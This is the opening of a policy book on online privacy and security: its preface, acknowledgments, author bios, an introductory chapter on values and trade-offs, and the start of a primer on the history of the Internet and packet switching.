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Preface
 
This book grew out of a course the two of us taught together about online privacy and security to an integrated group of computer sci­
ence and law students. By teaching that course, we learned how to explain 
thorny legal issues to computer science students, as well as complex techni­
cal questions of computer security to law students who were once English 
and political science majors. 
Privacy and security are, of course, affected by technological decisions 
made by the likes of Microsoft, Facebook, Google, and the major Internet ser­
vice providers. However, many of their decisions are driven by legal, regula­
tory, and economic considerations, which are in turn profoundly influenced 
by public policy. This book considers what public policy should be for online 
privacy and security. In this book we take a step beyond works that present 
the issues and problems and we also propose specific solutions. People always 
point out drawbacks to solutions, and they will do so with ours, but creating 
a framework for this discussion is one of our central goals. We believe in our 
solutions, and we believe even more firmly that society will not resolve criti­
cal questions about privacy and security without an informed discussion. 
An informed discussion must be a discussion among disparate disci­
plines—including, at a minimum, computer scientists, economists, law­
yers, and public-policy makers. We hope that this book will bridge the 
gaps between these disciplines. We describe sophisticated technological, 
economic, legal, and public policy issues, but we write in plain English. 
Readers need no technical and no legal expertise. We emphasize the need 
to make trade-offs among the complex concerns that arise in the context 
of online privacy and security. We introduce the theme of trade-offs in the 
first chapter and we close with it in the last chapter. Our book is a call for 







We benefited greatly from the work of Helen Nissenbaum and James Rule. Nissenbaum deepened our understanding of norms 
and how they work, and Rule provided insight into the need for trade-offs 
and the complex issues they raise. We also gratefully acknowledge our 
debt to Lori Andrews. We benefited from her work, from discussions of 
privacy, and from her encouragement. Harold Krent read early versions of 
(what became) Chapters 3 through 7 and we benefited from his insights. 
Shai Simonson read later versions of Chapters 1 through 4 and provided 
much helpful feedback. Earlier versions of Chapters 4, 5, and 12 were pre­
sented at the 2011 and 2012 Privacy Law Scholars Conference, and we 
thank our audiences for helpful comments and encouragement. We thank 
Dan Bernstein, Jon Solworth, and Venkat Venkatakrishnan for helpful 
conversations and insights about a number of the fine points of computer 
security; Mark Grechanik for helpful conversations and insights about 
software engineering; and Bob Goldstein for providing the viewpoint of a 
senior IT manager on several security threats. We thank Daniel Saunders 
for his excellent help with our line drawings and other figures. 
We thank the National Science Foundation and program officer 
extraordinaire Dr. Sylvia Spengler for support of our general research 
in this area, including the 2011 and 2012 Privacy Law Scholars papers 
(though not this book directly), under National Science Foundation Grant 
Number IIS-0959116. Of course, any opinions, findings, and conclusions 
or recommendations expressed in this book are those of the authors and 
do not necessarily reflect the views of the National Science Foundation. 
We are indebted to our editors, Alan Apt and Randi Cohen of Taylor & 
Francis, for their time and expertise; we wish Alan a glorious retirement 
and thank him for originally signing this project. 
Robert Sloan gratefully acknowledges the patience and kind under­
standing of his wife, Maurine Neiberg, and daughters, Rose and Emma 
xxi 




xxii  ◾ Acknowledgments 
Neiberg Sloan, during the writing of this book. He further thanks older
daughter Rose for some helpful proofreading and feedback, and Maurine 
(ScM, computer science, and JD) for extensive reading and commen­
tary; he congratulates her for successfully walking the very narrow path
between constructive criticism and inciting a riot. 
Richard Warner gratefully acknowledges the unending patience and 
support of his wife, Ky Southworth, who made it possible for him to devote 
so much of the day to writing and from whose common sense about pri­
vacy he always profits. He would also like to thank Sip, the coffeehouse in

















Robert H. Sloan is professor and department head in the Department
of Computer Science of the University of Illinois at Chicago. For 2 years,
starting in January 2001, he served as the program director of the Theory 
of Computing Program at the National Science Foundation. He has pub­
lished extensively in the areas of computer security, theoretical computer 
science, and artificial intelligence. He holds a BS (mathematics) from
Yale University and an SM and PhD from the Massachusetts Institute of
Technology (computer science). He was a postdoctoral fellow at Harvard 
and also spent 1 year taking classes at Yale Law School. 
Richard Warner is professor and Norman and Edna Freehling scholar at
the Illinois Institute of Technology Chicago-Kent College of Law, where he
is the faculty director of the Center for Law and Computers. Prior to join­
ing Chicago-Kent, he was a philosophy professor, first at the University of
Pennsylvania and then at the University of Southern California. He is vis­
iting foreign professor in the law faculty at University of Gdańsk, Poland. 
He is the director of the School of American Law, which has branches
in Poland, Ukraine, and Georgia; editor-in-chief of Emerging Markets:
A Review of Business and Legal Issues; and a member of the US Secret 
Service’s Electronic and Financial Crimes Taskforce. From 1994 to 1996, 
he was president of InterActive Computer Tutorials, a software company,
and from 1998 to 2000, he was director of Building Businesses on the Web,
an Illinois Institute of Technology executive education program. He holds
a BA (English literature) from Stanford University; a PhD (philosophy)
from the University of California, Berkeley; and a JD from the University
of Southern California. His research interests include privacy, security, 

















Many excellent books offer illuminating descriptions of the current cri­
ses in online privacy and security. We take the next step and offer solu­
tions. Our solutions are public policy recommendations. Society needs 
innovative policies to reap the proper benefits from rapid technological
change. We hope our recommendations will be adopted and be success­
ful, but we also have another important goal: a shared understanding of
the problems and a common language in which to discuss and analyze 
solutions. Finding adequate solutions to today’s online privacy and secu­
rity problems requires combining a computer scientist’s expertise with a 
lawyer’s understanding of how to forge sound public policy and laws. You 
don’t need to be a legal scholar or to know any computer science to read 
this book, even though it contains sophisticated and accurate computer
science and law. We have written as much as possible in plain English, 
but our plain English descriptions should be of interest even to experts.
Solving the privacy and security problems means experts in one field have
to find ways to communicate with experts in another. 
We limit our discussion of privacy and security to the private sector. For 
security, this is not a significant limitation. Everything we say also applies 
to governmental computers and networks. Privacy is a different matter. 
Governmental intrusions into privacy raise legal and political issues that
don’t arise when private businesses encroach on privacy. The governmental
threat is serious and increasingly worrisome. However, the chorus of con­
cern over government intrusion into our private lives is already large and 
strong. Moreover, the threat from private business merits consideration on
1 












2  ◾ Unauthorized Access: The Crisis in Online Privacy and Security 
its own. Indeed, as the New York Times said in a 2012 article, the database 
marketing firm Acxiom “knows who you are. It knows where you live. 
It knows what you do. It peers deeper into American life than the F.B.I. 
or the I.R.S.”1 Businesses routinely watch and record massive amounts of
information about people’s Internet activities. Businesses now have the
technological means to merge your online and offline footprints into pro­
files of surprising intrusiveness and accuracy. They can know where you 
work, how you spend your time and with whom, and even “with 87% cer­
tainty…where you’ll be next Thursday at 5:35 p.m.”2 
THE GOOD, THE BAD, AND THE IN BETWEEN 
We divide the new twenty-first century world of rich online lives and vast 
computing power into the good, the bad, and the in between. We begin 
with the good and then turn quickly to our primary concern—the bad and 
the in between. We need a short way to refer today’s combination of online
society, the entire World Wide Web, huge databases, data mining, and vast 
computing power, so, for this section only, we will call it “the Internet,”
even though the Internet is only part of the world that concerns us. 
The Good 
Before the Internet, media-rich, worldwide communication was the pre­
rogative of governments and well funded publishing companies. The
Internet makes it possible for anyone with Internet access to communi­
cate with anyone in the world and to access almost all the world’s infor­
mation in an instant. People can communicate and coordinate no matter
how geographically diverse, no matter how few or how many. Freedom of
association and expression flourish, as does innovation. Novel achieve­
ments include, among many others, marvels of decentralized coordina­
tion like Wikipedia and communication platforms like Facebook. While 
such marvels of the Internet age have at times been double edged, society 
has benefited greatly from them. 
The Bad 
Hackers exploit the very information-sharing features of the Internet that
have brought so much good. To gain access to people’s computers, they
reuse old techniques in the new media, such as exploiting human gull­
ibility. They also avail themselves of new tools, such as viruses, worms, 
Trojans, rootkits, cross-site scripting, and structured query language
(SQL) injection. Unauthorized access to computers and computer 
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networks is rampant. Once hackers get into a computer, they deploy
numerous threats, including denial-of-service attacks, packet sniffing, 
and session hijacking, and they commit crimes such as identity theft,  
extortion, theft of money or data, and industrial espionage. How can 
individuals, companies, and government together control crime while 
preserving everyone’s freedom to communicate and coordinate? Our 
suggestions focus on both improving software quality and eliminating 
malicious software, malware for short. 
Current software development practices make it too easy for hackers to
turn our own beneficial software against us and use it to infiltrate comput­
ers and networks. Richard C. Clarke, cyber security advisor to Presidents
Clinton, Bush, and Obama, relates an anecdote that captures the severity of
the problem. “When I asked the head of network security for AT&T what
he would do if someone made him Cyber Czar for a day, he didn’t hesitate, 
‘Software.’”3 But serious as it is, software is only part of the problem. Once
hackers get inside a computer, they install their tool of choice—malware. 
Malware includes viruses, worms, and Trojans, but there are also other 
inhabitants of the “malware zoo.” We describe them in Chapter 9. Current 
defenses against malware are woefully inadequate. 
Making things better is no simple task. The practices that make us
all vulnerable also give us benefits. They give software developers and 
Internet service providers the freedom and flexibility they need to respond 
and innovate in a rapidly changing technological environment, and they
ensure that both software and Internet access are inexpensive and easy
to use. Securing users against Internet crime will decrease flexibility and
innovation and make software and Internet access more expensive and 
more difficult to use. Throughout this book, we focus on finding the opti­
mal trade-off between these costs and more security. 
The In Between 
A lot of activity on the Internet falls in our “in between” category: activ­
ity that makes many people uncomfortable, but about which, in the spirit
of the Facebook age, we say, “It’s complicated,” rather than “It’s bad.” For 
example, let’s look at business and government surveillance. If the sur­
veillance is illegal, it belongs in our “bad” category, but a vast amount
of surveillance is legal or at least not clearly illegal. There are significant
benefits: new services, conveniences, and efficiencies. But the price is deep 
inroads into privacy that threaten to destroy the freedom of association 
and expression the Internet has offered so far. The result of the legal 
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surveillance is an ambiguous mix of positives and negatives that lies in
between the clearly good and clearly bad. As we note in Chapter 5, 20+ 
years of studies and surveys show that people want to have their cake and 
eat it too. People want the benefits of personalization that increased com­
puting power offers, but people also want their private information to stay
private. Having both means finding trade-offs that give everyone enough
of each. 
MAKING TRADE-OFFS 
A common feature of the trade-offs we examine is that they are unavoid­
able. For example, you must choose, if only by default, either to spend 
money on insurance against fraudulent impersonation—generally called
identity theft—or not. To illustrate trade-offs, think about what is involved 
in explicitly making the decision. If you are a victim of identity theft, 
according to one recent report, it will take you about 12 hours and $354 to
resolve the problem.4 Let’s suppose you value your time at $200 an hour. 
You then face a total quantifiable financial loss of $2,754. However, the 
trade-offs that concern us involve both quantifiable and nonquantifiable
costs and benefits, and this considerably complicates matters. Suppose you 
can buy insurance against identity theft for about $275 a year. Should you 
do so? The answer is easy if we just consider quantifiable factors. We just
need to know how likely it is that you will be a victim of identity theft.  
The probability turns out to be low—about 5 percent. This makes your
expected loss (the $2,474 discounted by the 95 percent probability of not
being a victim) just under $138. So, as long as we consider only quantita­
tive factors, it would be wasteful to buy the insurance because you would 
spend $275 to save $138. 
Quantifiable concerns are not all that matter, however. Suppose, like 
many, you dislike taking risks. Imagine that if you were a victim, you 
would suffer from a very disturbing and long lasting sense of personal
invasion resulting in significantly increased anxiety about online financial
transactions. Is it worth spending $275 to save $138 and to get protection
against these losses? It is extremely difficult, if not impossible, to quan­
tify your sense of personal invasion in any meaningful way, so there is no
quantitative calculation that can answer the question. Deciding whether 
to trade $275 for the protection offered requires finding a way to balance 
spending $275 against both quantitative and nonquantitative gains. 
The trade-offs that will concern us when we consider software, mal­
ware, and privacy require balancing quantitative and nonquantitative 
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interests. Society as a whole, together with the software industry, must 
choose some trade-off between making mass-market software more resis­
tant to malware attacks versus making software less expensive. Choosing 
a trade-off requires balancing economic efficiency, improved security, 
innovation, competition, freedom of expression, and a vast array of other 
concerns, including several implicated in privacy. Today, in most cases,
consumers and government make very poor trade-offs in the areas of
online security and privacy and often make the trade-offs implicitly, with
very little thought. There is currently no consensus about how these trade­
offs should be made. 
The lack of consensus would not matter much if we were still living in
the mid-twentieth century, but, as is illustrated in Figure 1.1 and discussed
at some length in Chapter 2, our world has changed. Before the Internet 
and modern digital technologies, security was largely a matter of protect­
ing places and persons, and within the limits of the law, everyone could 
decide for himself or herself how much security was required. Sally’s deci­
sions about security might still have affected Jim’s security, since if Sally’s 
house was extremely well protected, burglars might have preferred to tar­
get Jim’s, but Jim’s degree of security was still typically under Jim’s control 
because he could choose to protect his house better. As we illustrate in
Chapters 6–10, in the Internet world everyone is interconnected in ways
that make each person’s degree of online security highly dependent on  
the degree of security of others. If anyone individually is to have adequate
security, then weak links in the chain must be avoided through a consen­
sus about how much security everyone requires. 
Similar remarks apply to privacy. In the mid-twentieth century, every­
body had considerable power to ensure that what he or she thought 
should be private would in fact be so. Online data collection did not exist,
although a precursor had appeared: Credit card companies kept reports 
on customers in manila file folders. Surveillance techniques were primi­
tive by today’s standards. Today, as we discuss in Chapters 4, 5, 11, and 
12, the Internet and an astonishing increase in information processing 
power have deprived people of the control over their privacy that they
once had. To protect privacy adequately, society needs consensus about 
how to use the twenty-first century’s new information processing power.
In Chapter 12 we present our solution, which is to design decision pro­
cesses that will lead to more or less general agreement about which uses
are legitimate. The following discussion of values provides background 
essential to developing our decision procedures. 




























First computers; processing speeds about 5 operations per second 
ARPANET, experimental network that will become the Internet, goes online 
with four locations 
First e-mail sent on ARPANET; high-end version of IBM System 370 mainframe has
processing speed about 1 million operations per second (inexpensive modern laptops
process billions of operations per second) 
Many companies including Apple and Tandy sell early personal computers to hobbyists 
IBM introduces the 5150 PC with a processing speed of 5 million operations per second 
Apple releases the $2500 Macintosh, with graphical user interface and processing speed 
of 6 million operations per second 
Many research universities and government labs  join the Internet; number of sites 
crosses 1000 
Tim Berners-Lee releases what will become the World Wide Web to small group of
computer users at the CERN research center in Switzerland 
Mosaic released, first web browser popular with public 
First Intel Pentium chips and computers, with processing speeds about 200 million 
operations per second 
General US public becomes increasingly aware of Web; Amazon.com begins service 
Number of Internet sites passes 10 million 
Google founded 
Dot Com boom 
Dot Com bust 
Wikipedia founded 
Percentage of individuals using the Internet in the US crosses 50% 
O’Reilly Media hosts first Web 2.0 Conference 
Facebook founded 
Percentage of individuals using the Internet in the developed world crosses 50% 
Inexpensive computers’ processing speeds are billions of operations per second; 
fastest computers’ processing speeds are trillions of operations per second 
Facebook passes one billion active users 
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FIGURE 1.1 Time line of growth of the Internet and computer processing speed. 
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VALUES
 
Values always guide trade-offs. The decision whether to buy insurance 
against identity theft is a matter of making trade-offs among what you 
value—freedom from risk and protection against a sense of personal inva­
sion against the other things for which you could use the money. A good 
nontechnical explanation of the ideal trade-off for you is that it is the one 
that is the best for you in terms of all the different things you care about:
the trade-off that is the best justified in light of all your values. We discuss
this in detail in Chapter 3. But people cannot always live up to that ideal.
To begin with, there may be no single trade-off that is best justified. Your
values might argue equally strongly in favor incompatible options: For 
example, you may value exercising after work and coming home earlier to
your children equally. In such cases, our theory aims at choosing any of
the equally good alternatives. 
There are other hurdles in the way of finding best justified trade-offs. 
You might lack the necessary time, energy, or insight to identify a trade-
off, and, in some cases, there may be no trade-off to find. Values and infor­
mation about the likely outcome of your choices may be too incomplete 
or too inconsistent to pick out even one best justified trade-off. In many
cases, especially cases involving the sorts of novel situations that we are 
concerned with in this book, you will need to develop new, additional val­
ues. After all, unless you are under 25 or so, you didn’t develop values
about how to behave on Facebook in your formative years. In other cases, 
you will need to resolve inconsistencies in your values to work toward a 
best justified trade-off. Finding best justified trade-offs is an ideal that can
be only approximated in practice. 
Some may think that the goal of developing values that even approxi­
mate best justified trade-offs is a mistake. If anything is clear about val­
ues, it is that people disagree about them. As the philosopher John Rawls
emphasizes, the appropriate view of social organization “takes deep and 
unresolvable differences on matters of fundamental significance as a per­
manent condition of human life.”5 Rawls’s view, with which we heartily 
agree, seems to show that our project is ill conceived. We will aim at defin­
ing trade-offs that are best justified more or less society-wide. How can we
hope to do that in the face of “unresolvable differences on matters of fun­
damental significance”? The processes we have designed to identify best
justified trade-offs address that problem. They lead to general agreement
that those trade-offs are best justified. For convenience, we will usually 
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describe things as if all consumers agreed, but, in fact, the processes we
propose could lead to different trade-offs for different groups. Each group 
would regard its trade-off as best justified, but there might not be any 
trade-off that everyone in every group regarded as best justified. 
Some may still think we are wrong to resort to values. Philosophers 
have argued over the nature of values for over 2,000 years. We are not
going to answer any of the questions that concern the philosophers. Our 
foundation is the uncontroversial, everyday fact that we value all sorts 
of things: pictures by Goya, celebrating children’s birthdays, freedom of
expression, pure mathematics, innovative kitchen appliances, and so on. 
Philosophers debate how to describe and explain values. Nothing we say 
depends on the outcome of that debate. Our point is the entirely uncon­
troversial one that our actions are the result of a complex interplay among 
a diverse array values. 
Profit-Motive-Driven Businesses 
We take a much simpler view of businesses. We assume businesses are
dominated by the profit motive, so they will always act in ways they
believe will maximize their profits over some given time period. This is
a simplification. Business decision makers have values like everyone else, 
and those values manifest themselves in, among other ways, ideological 
commitments, moral beliefs, and personal loyalties. Our view of busi­
nesses as exclusively driven by a profit motive is a fiction—a convenient
fiction that is close enough to the truth that we can ignore the more com­
plicated reality. 
Media companies are a good example. Spurred in part by the rise of the 
Internet, they have sought to reduce competition through mergers and 
acquisitions, and they have aggressively—and largely successfully—lob­
bied Washington for relief from the legal regulations that limit their abil­
ity to consolidate. In their lobbying efforts, the media companies claimed 
that relief from regulation would lead to an explosion of activity that
would greatly increase the flow of more diverse content; create noncom­
mercial, public interest programming; and promote ethnic minority own­
ership of media concerns. These promises have not been fulfilled. In radio,
TV, and cable, media companies have increased profits by cutting costs 
through consolidation and standardization that have led to less diversity
of content, very little noncommercial public interest programming, and 
minimal minority ownership. Critics contend that the dominant goal of
maximizing profits defeated any attempt to realize other values.6 
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This is the kind of problem that concerns us in regard to software devel­
opment, malware defense, and privacy. We argue that profit-motive-driven 
mass-market sellers often offer consumers products and services inconsis­
tent with consumers’ values. Our proposed solution does not try to change
sellers’ motives. We focus instead on buyers. Our view is that, for a variety 
of reasons, consumers tolerate, and sometimes even demand, products
and services that are in fact inconsistent with what they value. Our solu­
tions bring buyers’ demands in line with their values, with the result that
buyers will demand greater security and more privacy. We argue that the 
profit-maximizing strategy for a mass-market seller is to meet the changed 
demand and offer products and services consistent with it. 
With the notable exception of behavioral advertising, discussed in
Chapter 12, we need to rely on legal regulation to achieve our results.
However, effective legal regulation is difficult and expensive, and for this
reason, we rely on legal regulation only temporarily, in the initial stages
of our solution. Our processes ultimately lead to social norms with which 
business will voluntarily comply because compliance is profit maximizing.
We pursue this strategy until midway through Chapter 12. There are some
key results about privacy we cannot achieve unless businesses internalize 
values that constrain their pursuit of profit. This would be a major cultural
shift.* It should not be surprising that we cannot adequately address all
privacy concerns without developing a more privacy-respecting culture. 
POLITICS 
We believe that most of the solutions we propose are broadly applicable in
democracies worldwide. However, both authors are American, and when 
relevant, we use the details of the American legal and political system. We
are writing these words on the eve of the 2012 US presidential election. 
Some may object that we have ignored political reality. We propose new 
legislation at various points, and, in some cases, the new regulations will
trade privacy off against other gains. Aren’t our proposals just naïve? As
the presidential cyber security advisor Richard C. Clarke quipped, “In 
Washington, one might as well advocate random forced abortions as sug­
gest new regulation or create any greater privacy risks.”7 Indeed, we do
not just propose new regulation, we actually assume a reasonably well
informed and educated citizenry is represented in political processes that
* 	 We originally wrote, “major and unlikely,” but, as we discuss in Chapter 12, that may not be quite 
as clear as it seems. 
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yield workable, unbiased, reasonably well justified decisions in a timely 
fashion. The reality is that solving the problems we raise requires well
reasoned legislation at various points. There is no alternative. This may
be unlikely in the current political climate, but this means the United 
States has another prior problem to solve. Solving the problems raised by
software, malware, and privacy requires achieving a societal consensus on
trade-offs, and that requires viable political processes. 
TODAY AND TOMORROW: WEB 1.0, 2.0, 3.0 
Internet technology changes with astonishing rapidity. You may be won­
dering, “How can you two be sure that the policy recommendations you 
make today will apply to the Internet of tomorrow?” This is a good ques­
tion to which we owe an answer. We begin by adopting the fairly standard
division of the web into three stages: 1.0, 2.0, and 3.0. The classifications 
are imprecise, and as we will emphasize in the next chapter, the web is
just one aspect of the Internet, but here we can put both of these concerns 
aside. Web 1.0 was the web in its early stages—before the blogs, wikis,
social networking sites, and explosion of web-based applications charac­
teristic of web 2.0. 
It is common now to see the web as entering a new phase and to call that
new phase web 3.0. The web 3.0 future may well be the “always on every­
where” web.* Mobile devices, cars, energy meters, and even refrigerators 
will all connect to the Internet; most data will be stored “in the cloud,” 
on remote servers maintained by others, and typical consumers will run 
an enormous number of relatively small, customizable apps. Our “always
connected” devices will become our personal assistants, answering ques­
tions and taking care of tasks.8 Most of our discussion in the following
chapters draws on “web 2.0” examples—thus the worry about today’s rec­
ommendations being valid tomorrow. We have two reasons for keeping 
our feet firmly on the web 2.0 ground. 
First, predicting technological changes is a dangerous business: 
Predictions typically turn out to be so wrong that they seem laughable 
later. When lending libraries first appeared, people predicted the death 
of print publishing; the actual effect was to greatly increase book buying 
because people wanted to own what they read. With the advent of VCRs
* 	 This is one of the meanings given to “web 3.0.” Different commentators use the expression in
quite different ways, which illustrates our argument that, as Neils Bohr is supposed to have said, 
“Prediction is very difficult—especially about the future.” 
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came predictions of the end of the movie industry because people wouldn’t
pay to watch in a theater what they could watch at home on a free copy. In
fact, the revenue from video rentals was the movie companies’ salvation. 
The 1960s vision of videophones was the vision of The Jetsons cartoon:
Every call would be a video call. Today, all smartphones can function as
videophones, but people most certainly do not consistently use that tech­
nology. Indeed, calling in any format has declined as texting has risen. 
We could go on and on with examples. We think it is better to ground our 
public policy recommendations in the present that we do know instead of
the future that we do not. 
Second, we don’t lose anything by sticking with web 2.0 examples.
Our discussions of privacy, software, and malware are applications of a 
general theory of the role of norms in governing market transactions. 
The model applies in a wide variety of cases in which rapid change has 
outstripped the evolution of norms, and it will extend readily to web 3.0 
issues as they arise. 
A LOOK AHEAD 
We develop a general theory of norms and markets in Chapter 3. This 
approach reveals important similarities and differences among our three 
topics. The book begins and ends with privacy, with software and malware 
in the middle. Our general theory is most intuitively presented in the con­
text of privacy, which occupies Chapters 4 and 5. However, working out 
the solutions to the privacy problems posed in Chapters 4 and 5 involves 
complexities that are absent from software and malware. So we address 
those “easy” cases in Chapters 6–10. We build on those results when we 
return to privacy in Chapters 11 and 12. A crucial contrast that requires a 
further elaboration emerges in Chapter 12. 
First, however, we begin in Chapter 2 with a crash course in the history 
of computing, where we explain how we got to where we are today. 
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An Explanation of the 
Internet, Computers, 
and Data Mining 
INTRODUCTION
 
This book is primarily concerned with public policy issues surrounding 
privacy and security. However, to discuss these issues in a meaningful
way, you need to know a little bit about the technology that underlies these 
things. Indeed, if it were not for the various technological revolutions of the 
past several decades, there might not have been any major changes in the 
privacy and security scene. We give a layman’s introduction to three dif­
ferent topics: the Internet, the workings of computers, and data in general 
and data mining in particular. We call each a “primer,” after the school­
books of old. Each primer is intended to be independent of the others. 
PRIMER ON THE INTERNET 
The provost of one of our institutions, a distinguished scholar of informa­
tion theory, likes to tell the story of a conversation he recently had with
his preschool-age granddaughter. He told her that when he was her age,
nobody had computers in their home. The young girl responded, “Well, 
then, Grandpa, how did you get on the Internet?” Indeed, the Internet, 
whose origins are in the late 1960s, has become absolutely omnipresent in
the lives of all citizens of developed countries over the past 10 or 15 years,
13 
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to the point where we expect most preschoolers to have some knowledge of
it. We provide a moderately technical explanation of the Internet and a bit 
about computer networks in general. The goal is to give the reader enough
background to be able to evaluate public policy arguments about security,
privacy, net neutrality, and so on that depend, among other things, on the 
technical facts of computer networking. We will see, for example, that it is
technologically very straightforward for a small company to monitor the 
contents of all e-mail sent from that company’s offices, but not easy at all
with the resources of a small company to monitor general e-mail traffic,
or even a small sample of e-mail traffic between New York and Chicago. 
Before we get started, a brief word about terminology, which will
become much clearer as we go along. “The Internet” refers to the global
network connecting billions of computers. One can think of it as analo­
gous to a road network or an airline route map (or better, the set of all 
airlines’ routes combined). What travels along the “roads” of the Internet 
is data, ultimately in the form of packets of ones and zeros. The Internet 
had reached essentially today’s form by the early to mid-1980s, though of
course it was much smaller then. It is common to think of the Internet 
and the World Wide Web as the same thing, but in fact they are not. The
Internet consists of all connections among computers; the World Wide 
Web is a particular use of those connections, one that came into being 
in 1991. The web is one of the most popular uses, but there are important 
nonweb uses as well. They include e-mail, instant messaging, file sharing,
and Skype, to name only four. 
We all talk about “data on the Internet,” but strictly speaking that is not
where the data are. Taken literally, “data are on the Internet” would mean
that the data are stored on the connections that make up the Internet. 
That is not where data live. The data—ultimately the bits, that is, the zeros 
and ones—making up any web page, for example, live on some physical
computer somewhere or other. When you look at a web page of, say, cnn. 
com, a copy of the bits making up that page on CNN’s computers is sent
across the Internet to your page. Similarly, the bits making up your e-mail
almost certainly reside on a computer of the organization providing you 
with e-mail service, be it Google, your employer, or your university. When 
you read your e-mail, a copy of those bits is being sent across the Internet 
to you. When your mother sends you an e-mail, what is really happening 
is that bits are sent via Internet from her computer to a computer of the
organization that provides her e-mail service, then via Internet from that
organization’s computer to a computer of the organization that provides
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your e-mail service, and finally via Internet from that organization’s com­
puter to your computer.* 
Notice that it is not true that everything on the web is “just out there in
cyberspace” and unreachable by the laws of any nation. Rather, each web 
page is hosted on a physical computer in some particular country, and, in
principle, that page and its content may be subject to the laws of that coun­
try. To take an example that is in the news at the time of this writing, the
computers that have been serving Google’s Chinese content (URL: google. 
com.cn) are located inside China and are subject to Chinese law, whereas 
the computers that serve “regular” Google (URL: google.com) are not
located in China and are not subject to Chinese law, although the Chinese 
government may be able to block any traffic coming from overseas with a 
“from” address of google.com from entering China. 
Now let us turn briefly to the origins of the Internet. 
History 
During the 1960s and early 1970s, as computers gradually became cheap 
enough that large organizations might own a few instead of just one, own­
ers of multiple computers began looking for ways to connect their com­
puters so that they could move data among them. Various forms of local
area networks (LANs) began to be developed. A LAN is small enough
that almost always it covers only a single building. Today, essentially all 
US businesses and most middle-class US homes have a LAN. Also early
on, some organizations began leasing dedicated lines (typically phone 
lines) between a pair of cities where they had major operations with their 
own computers and wished to share data between those computers. These 
were the early wide area networks (WANs). 
Neither LANs nor WANs, however, are the origin of the Internet. 
Particularly in the early days, and to some extent even today, there were
numerous different specifications for LANs and WANs in use, often ven­
dor specific in the early days. Networks spoke many different languages,
with no one common language with which they could communicate. Even
if there had been a common language, networks generally did not have any 
* 	 It is possible that one or more of the three hops might be via an internal network if both ends
of the hop are in the same organization. For example, if your mother sends you e-mail from
her whitehouse.gov e-mail address while she is working at her job inside the White House, the
first hop, from her work computer to the computer that handles outgoing e-mail for the White
House, would be completely inside the White House’s internal network and would not be on the
larger Internet. 
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interconnections that would have allowed one LAN to communicate with
another. The idea of the Internet was to connect geographically remote  
LANs together, hence the name Internet. This is a network that connects
networks. Indeed, in the early days, the researchers referred to the overall
research in this area as being internet (lower case) research and the biggest 
product of this research as the Internet (capitalized). 
The origin of the Internet is usually considered to be the linking of
four sites in late 1969: first the University of California, Los Angeles, and 
the Stanford Research Institute and, slightly later, also the University of 
California, Santa Barbara, and University of Utah. This work was carried 
out under the auspices of the Department of Defense’s Defense Advanced 
Research Agency (DARPA), which has been known both as DARPA 
and as ARPA at various times in the last 50 years, and indeed the net­
work was known as ARPANET. Interestingly, one of the real visionaries 
who brought us the modern era of computing was not a man acting as a 
research scientist or as an engineer, but rather as a government program
officer. J. C. R. Licklider, as a program officer at DARPA, funded research
in the early 1960s that eventually led to the move from mainframes to
personal computers, and he was one of the first to foresee the need for 
networking of remote sites. 
Several years later when the ARPANET became somewhat established,
DARPA, whose mission is to fund cutting-edge research, got out of the 
network business. From the mid-1970s through the late 1980s, there were
several federally supported large networks, with names such as MILNET 
and NSFNet, which were managed by various federal agencies, including 
the Defense Communications Agency, the Department of Energy, and 
the National Science Foundation. By the mid-1980s, many US research 
universities and federal research labs and many military bases were con­
nected to one or another of these networks, and these networks were con­
nected to each other as well as to various foreign networks. The Internet 
more or less as we know it today had been created. 
Part of what allowed the Internet to come into being was the establish­
ment of an agreed set of rules, called protocols, that would be used for all
traffic, and, importantly, that were public and free. These were developed
in the early 1970s by Vint Cerf and Robert Kahn, who shared the 2004
Turing Award for this work (the award, named for Alan Turing, is com­
puter science’s equivalent of the Nobel Prize). We’ll discuss these protocols
in a later section. Readers who remember the 2000 US presidential elec­
tion may remember Al Gore being pilloried for remarks he made about 
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his early influence on the Internet. In fact, Cerf and Kahn have credited 
Gore with being the elected official in the 1970s and early 1980s who most 
understood and most promoted the growth of the early Internet.1 
In closing this brief section on Internet history, it is worth summarizing 
the nature of the Internet as of the late 1980s. To the extent that anybody
ever manages or runs the Internet, it was academic and government insti­
tutions doing so, not commercial Internet services providers (ISPs), and,
indeed, when the government ran the Internet, it forbade its commercial
use.2 There were few end users, and those end users were largely dedicated 
to using the Internet as a tool for academic research and for communicat­
ing research results. 
This means that essentially all the protocols—the “rules” for how the 
Internet works at the lowest level—were completed at a time when the
users were a relatively small group of knowledgeable insiders who more
or less trusted one another. Thus, security and privacy were simply never 
among the design goals of the Internet. Security against malicious outsid­
ers was at best a very minor concern, and there were no privacy issues. 
Nature of the Internet: Packet-Switched Network 
Computer scientists speak of any network as being made up of nodes (or
vertices) and links (or edges). Examples of networks include the road sys­
tem, with intersections and highway entrances and exits being the nodes,
the landline telephone system, with phones and phone company central 
switching equipment being the nodes, and a spider’s web. For today’s 
Internet, the nodes at the edge of the network are individual computers 
and/or connections from a LAN, such as a home’s cable modem or DSL 
modem, and the nodes in the middle of the network are simple special-
purpose computers called routers. An even more recent example is the  
network whose nodes are all the users of Facebook, and whose links are 
the “friend” connections. Indeed, this is why Facebook is referred to as a 
“social network.” 
The job of a communications network, such as the phone system, the 
postal system, cable television, or the Internet, is to send data between two 
nodes over a series of one or more links. There are two fundamentally dif­
ferent ways one might arrange to send the data between two nodes, called 
circuit switching and packet switching. (Long ago, “switching network”
was the technical term for a communication network.) 
Circuit switching is perhaps the more intuitive of the two ideas. In a cir­
cuit-switched network, for two nodes to communicate, some fixed set of
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FIGURE 2.1 An example of circuit switching: telephone operators at “Central” 
using a plug board to connect phone calls. 
links between them is dedicated to the communication for the duration of
that particular communication. The classic example of a circuit-switched
network is the telephone system. Think about the telephone system one sees
in old black-and-white movies. (We show an example in Figure 2.1.) A caller
would pick up his phone and speak to “Central,” where a switchboard oper­
ator would connect a wired plug into the spot for the phone being called,
thus completing a wired connection from the caller to the central exchange
for the town, across the wire and plug that the operator just moved, and on
from the central exchange to the called phone. The plug—and thus the dedi­
cated path from caller to callee—remain in place for the duration of the con­
versation, and when the call is over the operator disconnects the plug. Today
this is all handled by automated equipment, but a call between two landline
phones in the same town is the same conceptually—still circuit switched. 
The Internet does not use circuit switching; it uses packet switching.  
Packet switching has two distinctive features. First, the data to be trans­
mitted are broken into sequential chunks called packets, hence the name. 
This means that packet-switched networks must carry digital data (data 
ultimately represented by a sequence of zeros and ones), whereas circuit-
switched networks can carry either digital or analog traffic. In addi­
tion, each packet in a communication between two nodes may be sent
independently, possibly over very different routes. Thus, if a web user 
